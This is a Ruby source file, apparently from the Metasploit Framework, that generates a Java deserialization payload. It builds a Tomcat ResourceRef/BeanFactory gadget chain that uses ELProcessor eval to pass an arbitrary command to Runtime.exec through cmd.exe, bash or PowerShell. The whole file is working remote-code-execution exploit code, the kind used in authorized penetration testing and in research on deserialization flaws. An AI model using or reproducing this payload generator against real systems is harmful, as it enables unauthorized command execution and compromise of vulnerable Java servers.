lib/msf/util/java_deserialization/bean_factory.rb
# -*- coding: binary -*-
require 'stringio'
require 'rex/java'
module Msf
module Util
class JavaDeserialization
class BeanFactory
def self.generate(cmd, shell: nil)
js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"
# emulate the same behavior as the ysoserial-modified series,
# see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
case shell
when 'cmd'
payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
when 'bash'
payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
when 'powershell'
payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
when nil
payload_string << js_escaped
else
raise NotImplementedError, "unsupported shell: #{shell.inspect}"
end
payload_string << ")\")}"
builder = Rex::Java::Serialization::Builder.new
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = [
builder.new_object(
name: 'org.apache.naming.ResourceRef',
serial: 1,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'org.apache.naming.AbstractRef',
serial: 1,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'javax.naming.Reference',
serial: 16773268283643759881,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
).tap { |new_class|
new_class.fields = [
new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
new_field(name: 'className', field_type: new_ref(handle: 8257540))
]
},
),
data: [
builder.new_object(
name: 'java.util.Vector',
serial: 15679138459660562177,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
data: [
['int', 0],
['int', 5],
# stream.contents.first.class_data[0].class_data[2]
builder.new_array(
values_type: 'java.lang.Object;',
name: '[Ljava.lang.Object;',
serial: 10434374826863044972,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
# stream.contents.first.class_data[0].class_data[2].values
values: [
# stream.contents.first.class_data[0].class_data[2].values[0]
builder.new_object(
name: 'javax.naming.StringRefAddr',
serial: 9532981578571046089,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'javax.naming.RefAddr',
serial: 16978578953230397258,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
).tap { |new_class|
new_class.fields = [
new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
]
},
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
Rex::Java::Serialization::Model::Utf.new(stream)
]
).tap { |new_object|
new_object.class_desc.description.fields = [
new_field(name: 'contents', field_type: new_ref(handle: 8257540))
]
},
# stream.contents.first.class_data[0].class_data[2].values[1]
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
new_ref(handle: 8257551)
]
),
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
]
),
# stream.contents.first.class_data[0].class_data[2].values[3]
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
]
),
# stream.contents.first.class_data[0].class_data[2].values[4]
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
]
),
# stream.contents.first.class_data[0].class_data[2].values[5]
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
]
)
]
).tap { |new_object|
new_object.class_desc.description.fields = [
new_field(type: 'int', name: 'capacityIncrement'),
new_field(type: 'int', name: 'elementCount'),
new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
]
},
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
Rex::Java::Serialization::Model::NullReference.new
]
),
Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
]
stream.encode
end
class << self
private
# helper methods that are not in Rex::Java::Serialization::Builder
def new_field(opts = {})
name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])
if opts[:field_type].is_a? String
field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])
else
field_type = opts[:field_type]
end
field = Rex::Java::Serialization::Model::Field.new
field.type = opts[:type] || 'object'
field.name = name
field.field_type = field_type
field
end
def new_ref(opts = {})
ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])
ref.handle = opts[:handle]
ref
end
end
end
end
end
end